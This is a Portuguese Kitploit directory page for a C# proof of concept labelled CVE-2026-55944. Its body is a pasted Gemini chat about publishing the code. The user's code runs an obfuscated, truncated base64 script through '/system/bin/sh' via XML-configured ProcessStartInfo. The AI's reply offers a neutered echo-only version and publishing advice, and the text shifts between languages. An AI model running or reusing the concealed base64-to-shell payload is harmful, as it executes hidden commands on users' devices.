Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Cve-2026-55944 — Prova de conceito em C# para CVE-2026-55944 que demonstra como valores de configuração XML não sanitizados passados para ProcessStartInfo permitem a execução arbitrária de comandos. | Kitploit
Ferramentas/GitHubGitHub/kipkorirchirchir800-hash/cve-2026-55944
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHubkipkorirchirchir800-hash/cve-2026-55944

Cve-2026-55944

Prova de conceito em C# para CVE-2026-55944 que demonstra como valores de configuração XML não sanitizados passados para ProcessStartInfo permitem a execução arbitrária de comandos.

Ver Repositório
1há 22 diasAinda não revisado
Compartilhar

Conversa com o Gemini Este é o meu código PoC para cve-2026-55944.....quero publicá-lo no GitHub....^@^A^@^A^F��^Ausing System;

using System.Diagnostics;

using System.Text;

using System.Xml.Linq;

namespace TermuxPayload

{

class Program

{

    static void Main(string[] args)

    {

        // Payload codificado em Base64 adaptado para ambiente Linux/Termux

        // Exemplo: Exibir uma mensagem ou executar um script de shell

        string base64Script = "IwAgAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AP>



        // Definição XML simulando a lógica do ObjectDataProvider

        string xmlPayload = $@"
<FileName>/system/bin/sh</FileName>

<Arguments>-c ""echo {base64Script} | base64 -d | sh""</Arguments>

";

        try

        {

            // Analisar a estrutura de marcação XML

            XElement doc = XElement.Parse(xmlPayload);

            string fileName = doc.Element("FileName").Value;

            string arguments = doc.Element("Arguments").Value;



            // Emular o gatilho de instanciação do objeto ObjectDataProvider

            ProcessStartInfo startInfo = new ProcessStartInfo

            {

                FileName = fileName,

                Arguments = arguments,

                RedirectStandardOutput = true,

                UseShellExecute = false

            };



            using (Process process = Process.Start(startInfo))

            {

                string output = process.StandardOutput.ReadToEnd();

                process.WaitForExit();

                Console.WriteLine("Estrutura de marcação analisada e executada com sucesso.");

                if (!string.IsNullOrEmpty(output)) Console.WriteLine($"Saída: {output}");

            }

        }

        catch (Exception ex)

        {

            Console.WriteLine($"Erro durante o processamento: {ex.Message}");

        }

    }

}

}

Publicar uma Prova de Conceito (PoC) de segurança no GitHub é uma ótima forma de contribuir com a comunidade de segurança, mas requer uma estruturação cuidadosa para garantir que seja usada de forma segura, ética e apenas para fins educacionais ou defensivos.

Para ajudá-lo a publicar sua PoC para CVE-2026-55944 de forma profissional, aqui está um guia completo cobrindo as melhores práticas de segurança, uma estrutura de repositório, um modelo profissional de README.md e uma versão sanitizada do seu código C#.

  1. Melhores Práticas para Publicar PoCs Neutralizar Payloads: Garanta que o payload padrão no seu código seja completamente inofensivo (por exemplo, imprimir uma mensagem benigna ou ecoar dados de teste) em vez de executar comandos arbitrários ou destrutivos.

Adicionar um Aviso Legal: Declare claramente que o código se destina estritamente a fins educacionais, auditoria de segurança e testes defensivos em sistemas autorizados.

Incluir uma Política de Segurança (SECURITY.md): Forneça instruções sobre como pesquisadores podem relatar vulnerabilidades de forma responsável.

  1. Modelo de README.md Recomendado Crie um arquivo README.md na raiz do seu repositório com a seguinte estrutura:

Markdown

Prova de Conceito CVE-2026-55944

Visão Geral

Este repositório contém uma Prova de Conceito (PoC) de segurança demonstrando CVE-2026-55944. Este código é fornecido estritamente para fins educacionais, pesquisa defensiva e testes em sistemas que você possui ou para os quais tem autorização explícita para testar.

Aviso Legal

O autor não assume qualquer responsabilidade por uso indevido ou danos causados por este programa. Use por sua própria conta e risco.

Resumo Técnico

  • Tipo de Vulnerabilidade: [ex.: Falha de Análise XML / Execução de Processo]
  • Componente Afetado: [Nome do componente/biblioteca]
  • Descrição: Um breve resumo de como a vulnerabilidade funciona e como a entrada é processada.

Uso

  1. Clone o repositório:
    git clone [https://github.com/yourusername/CVE-2026-55944-PoC.git](https://github.com/yourusername/CVE-2026-55944-PoC.git)
    

Open and compile the project using your preferred C# IDE or the .NET CLI:

Bash dotnet run Mitigation Ensure that all inputs are properly validated and sanitized before being passed to process execution handlers. Apply vendor patches as soon as they become available.


3. Sanitized C# Code

Here is a cleaned-up, production-ready version of your C# PoC with safe default behavior and robust error handling suitable for a public repository:

using System;
using System.Diagnostics;
using System.Text;
using System.Xml.Linq;

namespace CVE_2026_55944_PoC
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[*] Starting CVE-2026-55944 Demonstration...");

            // Safe, neutral default payload (Echoes a test message instead of executing arbitrary scripts)
            string sampleMessage = "PoC executed successfully in a controlled environment.";
            byte[] bytes = Encoding.UTF8.GetBytes(sampleMessage);
            string base64Script = Convert.ToBase64String(bytes);

            // XML definition simulating the target logic
            string xmlPayload = $@"
<ProcessConfig>
    <FileName>/bin/echo</FileName>
    <Arguments>{sampleMessage}</Arguments>
</ProcessConfig>";

            try
            {
                // Parse the XML markup structure
                XElement doc = XElement.Parse(xmlPayload);
                string fileName = doc.Element("FileName")?.Value ?? string.Empty;
                string arguments = doc.Element("Arguments")?.Value ?? string.Empty;

                if (string.IsNullOrEmpty(fileName))
                {
                    Console.WriteLine("[-] Error: Invalid configuration structure.");
                    return;
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    FileName = fileName,
                    Arguments = arguments,
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                    CreateNoWindow = true
                };

                using (Process process = Process.Start(startInfo))
                {
                    string output = process.StandardOutput.ReadToEnd();
                    process.WaitForExit();
                    
                    Console.WriteLine("[+] Markup structure parsed and executed successfully.");
                    if (!string.IsNullOrEmpty(output))
                    {
                        Console.WriteLine($"[+] Output: {output.Trim()}");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[-] Error during processing: {ex.Message}");
            }
        }
    }
}
Gostaria de ajuda para escrever um arquivo LICENSE (como MIT) ou estruturar documentação adicional para o seu repositório?

Dê uma descrição rápida do código PoC

Este código de Prova de Conceito (PoC) simula uma falha de análise insegura de configuração XML que leva à execução arbitrária de processos.

Aqui está uma rápida análise de como ele funciona:

Simulação de Payload XML: Ele define uma estrutura XML (ProcessConfig) contendo um executável alvo (FileName) e argumentos (Arguments).

Análise: Ele usa System.Xml.Linq.XElement para analisar a marcação XML e extrair os parâmetros de execução.

Execução de Processo: Ele alimenta o nome de arquivo e os argumentos extraídos no System.Diagnostics.ProcessStartInfo para gerar e executar um processo do sistema, capturando e exibindo qualquer saída.

Gostaria de adicionar recursos de logging ou telemetria para rastrear quando e como a PoC é executada em seu ambiente de teste?
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    732
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    405
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    261
  • 6

    antifox

    antifox-ai/antifox

    Plataforma de testes de penetração autónoma com multiagentes de IA que executa reconhecimento, descoberta de superfície de ataque, validação de exploração e entrega de relatórios com evidências.

    259

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →